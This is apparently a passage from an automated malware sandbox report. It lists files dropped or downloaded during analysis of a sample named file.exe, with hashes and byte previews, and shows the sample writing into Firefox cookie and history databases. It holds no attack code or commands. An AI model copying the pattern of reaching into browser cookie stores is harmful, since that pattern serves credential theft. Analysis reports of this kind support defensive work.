Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 23:18:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9756290176054265
Encrypted:	false
SSDEEP:	48:8lod2QTW0zbcAHCsidAKZdA19ehwiZUklqehHy+3:8urcUoy
MD5:	F77F6C3D98A05DA974ED6310B6CD3DAA
SHA1:	C5B2A74460CA5B9D91584C3EEBED9E1703C0E296
SHA-256:	5432E8D9919A45CC4558D505EADBBF3A6E502EDA97A2A95BBC39BA55841A51C0
SHA-512:	959B9C6F6FFFBAE67CFCD0AE241B70817D22D6162BD7DE975B531A45AF6AE516D020B84E438D8346B440622F9D8751AD9ABD8F016A13CCCBC34887675EA14E00
Malicious:	false
Preview:	L..................F.@.. ...$+.,......If+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_YL............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 23:18:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.990064593615055
Encrypted:	false
SSDEEP:	48:8Lod2QTW0zbcAHCsidAKZdA1weh/iZUkAQkqehYy+2:8Yrcm9Qdy
MD5:	B27E3008B55004AA560735325D2D20E6
SHA1:	85022421A4B566F46E1D63A01274D2D2595F3FDB
SHA-256:	FE92B5F01C4101E0D4A0EA7AC36EBDF37AD688805AE6EAA6B4244CC211611F79
SHA-512:	12AFC928399B6872BD1A79558C463AF2D1EBA1BA60B6D25F48CD58BC873698964CA2D7880CD65B69283566BA70F9D3F1C3202E8B245E3D6C8E338B309B4A8BAB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......6f+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_YL............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004448700473812
Encrypted:	false
SSDEEP:	48:8x3od2QTW0zbsHCsidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8xErCnky
MD5:	143C08637E1A74991831F5693CF27D5F
SHA1:	11F22BA3D74583228CF8AB63E5DB8887F469E104
SHA-256:	A91DE3C47EEF8545778A147D6F581029BE6A57F993664436FFDCCBB10B6FC2B5
SHA-512:	41C77922A43ED23ADAF9A0F1FC7EA5447596CD07A3BCD65583F1BFA9729CFECBD9826AD8ECB513C41F18BDDC2BB67910E9A7E2F9FADF9BE5C96102A721E69112
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 23:18:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986891786972414
Encrypted:	false
SSDEEP:	48:8Vod2QTW0zbcAHCsidAKZdA1vehDiZUkwqehcy+R:8+rctuy
MD5:	6047532FA477E876A1D9DDD2D8EE6380
SHA1:	E764E1754F875935BB686AD71FC8F3D81010262C
SHA-256:	6709191C0BE9D45314778BB6D84E975F4DAE8BE418B51FAD75FCE47A7387CB2E
SHA-512:	F1838091C1339993352B0AC056797AFBD12D123E51EC5DE47E3FDDDEEAC3EF085B73590C07ED8E6BA595C9CEC8DC8F84671037BECD20707E46D8F3DD8ED9E1C1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....pQ-f+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_YL............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 23:18:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9768914830291147
Encrypted:	false
SSDEEP:	48:8Wod2QTW0zbcAHCsidAKZdA1hehBiZUk1W1qehyy+C:8brct9Sy
MD5:	02362114CD53E9B4D757E72B153F1930
SHA1:	C000A6E62B435E6EADBD8D4D3730548D439D09FE
SHA-256:	601D8F55F49CC393B09FEFCAE2E24619B85DE4E4AA3CD8EFE8934C13FB10E635
SHA-512:	98B8A33F455F7D362073B0F1AB6C59D47F22D9262002467C89124C5788E8E8F3EC638CE01AAB76CB19CEC4BB011F8DE313D91A336F6DA4E870279CAD63DEB266
Malicious:	false
Preview:	L..................F.@.. ...$+.,....'d@f+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_YL............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 23:18:23 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9884433493742373
Encrypted:	false
SSDEEP:	48:8Tod2QTW0zbcAHCsidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbky+yT+:8QrcxT/TbxWOvTbky7T
MD5:	8481C13683B74EC2358417FCB2B3075A
SHA1:	6846BF8CD7CF4777E09EB2BF7FC0360426A9932A
SHA-256:	85EEF35D0474A19FD0C7AC4226722EC83D2CC0AD6A2BEA40F45546C3A4EE888C
SHA-512:	38540F6EE5E710150557EEB70BD07688658476EF5CB2979AA824A87DCBEFE80E07DEACEB3B7D5C7284588212B04B9EE6458A8833AD475D1C5A54DE215D6A343C
Malicious:	false
Preview:	L..................F.@.. ...$+.,......$f+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_YJ.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_YJ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_YJ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_YJ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_YL............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............;a......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (745)
Category:	downloaded
Size (bytes):	750
Entropy (8bit):	5.100992857080876
Encrypted:	false
SSDEEP:	12:uzJ7/9E2PJPnDiyFXBHslriFTAYsSw7sZAnIIIIIII5wunPld7kwuGHHeHHHYZw9:0TemPnDiwBHslgT9lCuABuPld7F7HHep
MD5:	161C546F3F751080C4B409C25640958C
SHA1:	E71905B4A1816C9EC3E55C6FDDE2636B473C999B
SHA-256:	FBE2E481FFC44EFD1CDCF54DD3DDC4F1E91B65770BD1247717FB0BA90C903C27
SHA-512:	AEA4828218868A1C3D870321DACE973A7DC38B83F01FBC1AC6CB5E61BC6F5170FD7E84A7CCE9194AF48155945BFE17B2683F4A98782E12827A4A3391577C8B1D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["irwindale speedway","coffee creamer recalled","finale agatha all along","diwali festival","tornadoes kansas city","palworld update patch notes","spacex launches","catholic church luce mascot"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1252,1251,1250,601,600,552,551,550],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362,10],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133755
Entropy (8bit):	5.436483295760108
Encrypted:	false
SSDEEP:	3072:2PQvjxd0QniyZ+qQf4VBNQ0pqGvx7U+OUaKszQ:EQvv0yTVBNQ0pXvxI+ORQ
MD5:	5869CD2F374A62D6FBB9C4D3995014DD
SHA1:	2B0277200A98461A3C20107C18BE5FBAB488837C
SHA-256:	D62E76DDB561D5A95FEF233F3309D56DFD63B5F89380FEF06C7388C588D15DE1
SHA-512:	CD295313534C67452CE3C809D8CD7B26E1B28E60E1136637253F247DBB566B618CAD8E2099A4FB9C92BFC144B68B67A246A2347BFF990D6FDAA9E1E298E97D77
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
